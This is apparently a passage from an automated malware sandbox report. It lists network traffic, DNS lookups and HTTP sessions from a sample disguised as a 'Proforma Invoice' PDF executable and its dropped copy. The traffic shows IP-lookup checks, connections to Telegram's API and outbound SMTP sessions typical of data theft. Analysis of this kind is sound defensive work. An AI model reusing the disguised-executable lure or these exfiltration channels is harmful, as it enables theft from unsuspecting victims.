Oct 17, 2024 09:44:50.910689116 CEST	80	49776	193.122.130.0	192.168.2.4
Oct 17, 2024 09:44:50.911880016 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.911911964 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.911995888 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.912270069 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:50.912282944 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:50.953371048 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:51.526719093 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:51.528593063 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:51.528615952 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:51.672851086 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:51.672939062 CEST	443	49777	188.114.96.3	192.168.2.4
Oct 17, 2024 09:44:51.673083067 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:51.705965042 CEST	49777	443	192.168.2.4	188.114.96.3
Oct 17, 2024 09:44:51.727929115 CEST	49779	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:51.727957010 CEST	443	49779	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:51.728029013 CEST	49779	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:51.728446007 CEST	49779	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:51.728457928 CEST	443	49779	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:51.740951061 CEST	443	49779	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:51.742844105 CEST	49781	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:51.742872000 CEST	443	49781	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:51.744410038 CEST	49781	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:51.744779110 CEST	49781	443	192.168.2.4	149.154.167.220
Oct 17, 2024 09:44:51.744795084 CEST	443	49781	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:51.756124973 CEST	443	49781	149.154.167.220	192.168.2.4
Oct 17, 2024 09:44:52.673378944 CEST	49787	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:52.678296089 CEST	587	49787	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:52.678396940 CEST	49787	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:52.683442116 CEST	587	49787	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:52.683506966 CEST	49787	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:52.684135914 CEST	49787	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:52.688925982 CEST	587	49787	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:57.171356916 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 17, 2024 09:44:57.298821926 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:57.303822041 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:57.304054976 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:57.923410892 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:57.923710108 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:57.928565025 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.081408024 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.093862057 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.098824024 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.253971100 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.283565044 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.288434982 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.445933104 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.449783087 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.454684973 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.628186941 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.628372908 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.633327007 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.818130016 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.818481922 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.823318958 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.976402044 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.977251053 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.977329016 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.977360964 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.977381945 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:44:58.982147932 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.982227087 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.982289076 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:58.982297897 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:59.270536900 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:44:59.312854052 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:46:37.329365969 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:46:37.334398985 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:46:37.494847059 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:46:37.495034933 CEST	49790	587	192.168.2.4	208.91.199.223
Oct 17, 2024 09:46:37.500407934 CEST	587	49790	208.91.199.223	192.168.2.4
Oct 17, 2024 09:46:37.500492096 CEST	49790	587	192.168.2.4	208.91.199.223

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 09:44:41.245417118 CEST	55849	53	192.168.2.4	1.1.1.1
Oct 17, 2024 09:44:41.252358913 CEST	53	55849	1.1.1.1	192.168.2.4
Oct 17, 2024 09:44:42.158745050 CEST	61181	53	192.168.2.4	1.1.1.1
Oct 17, 2024 09:44:42.167570114 CEST	53	61181	1.1.1.1	192.168.2.4
Oct 17, 2024 09:44:46.016482115 CEST	62326	53	192.168.2.4	1.1.1.1
Oct 17, 2024 09:44:46.023715973 CEST	53	62326	1.1.1.1	192.168.2.4
Oct 17, 2024 09:44:52.663407087 CEST	55120	53	192.168.2.4	1.1.1.1
Oct 17, 2024 09:44:52.672741890 CEST	53	55120	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 17, 2024 09:44:41.245417118 CEST	192.168.2.4	1.1.1.1	0x4431	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:42.158745050 CEST	192.168.2.4	1.1.1.1	0xae24	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:46.016482115 CEST	192.168.2.4	1.1.1.1	0xa764	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:52.663407087 CEST	192.168.2.4	1.1.1.1	0x2f29	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 17, 2024 09:44:41.252358913 CEST	1.1.1.1	192.168.2.4	0x4431	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 09:44:41.252358913 CEST	1.1.1.1	192.168.2.4	0x4431	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:41.252358913 CEST	1.1.1.1	192.168.2.4	0x4431	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:41.252358913 CEST	1.1.1.1	192.168.2.4	0x4431	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:41.252358913 CEST	1.1.1.1	192.168.2.4	0x4431	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:41.252358913 CEST	1.1.1.1	192.168.2.4	0x4431	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:42.167570114 CEST	1.1.1.1	192.168.2.4	0xae24	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:42.167570114 CEST	1.1.1.1	192.168.2.4	0xae24	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:46.023715973 CEST	1.1.1.1	192.168.2.4	0xa764	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:52.672741890 CEST	1.1.1.1	192.168.2.4	0x2f29	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:52.672741890 CEST	1.1.1.1	192.168.2.4	0x2f29	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:52.672741890 CEST	1.1.1.1	192.168.2.4	0x2f29	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Oct 17, 2024 09:44:52.672741890 CEST	1.1.1.1	192.168.2.4	0x2f29	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:41.263462067 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 17, 2024 09:44:41.933653116 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:41 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 38b006c39d5512eb69f0ac3932616c22 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>
Oct 17, 2024 09:44:41.942300081 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:42.101335049 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:42 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8c43f581943b77e6a3d561245f532266 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>
Oct 17, 2024 09:44:43.259685993 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:43.421777010 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:43 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c8bb8744e2f5060c62b7cb6f09fb3a38 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>
Oct 17, 2024 09:44:43.473447084 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:43.640470028 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:43 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ff6018d67775a1664bacc155a7456193 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:44.406837940 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49747	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:44.416907072 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49748	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:44.436109066 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:45.108935118 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:45 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 33bdca9a3db699e28f835ff01c0ff78f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.185509920 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 17, 2024 09:44:45.848067045 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:45 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c56dbc6c11efa85fda36136bf6f527a3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>
Oct 17, 2024 09:44:45.853065014 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:46.012114048 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:45 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8bde08fc7223ffea66362eb7b955c840 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>
Oct 17, 2024 09:44:46.939168930 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:47.101924896 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:47 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8a7d2221aa4a6601b0c5769df1f25615 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.885001898 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49752	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.896285057 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.913324118 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.923994064 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.941097021 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.952192068 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.967854023 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49758	193.122.130.0	80	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:45.981415987 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49762	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:47.900388002 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:48.560842991 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:48 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 50d51d800bf73f8e517fd2290e986ab2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49765	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.674422979 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49766	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.687974930 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49767	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.701416016 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49768	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.712449074 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49769	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.728034019 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49770	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.768398046 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49771	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:48.782608032 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
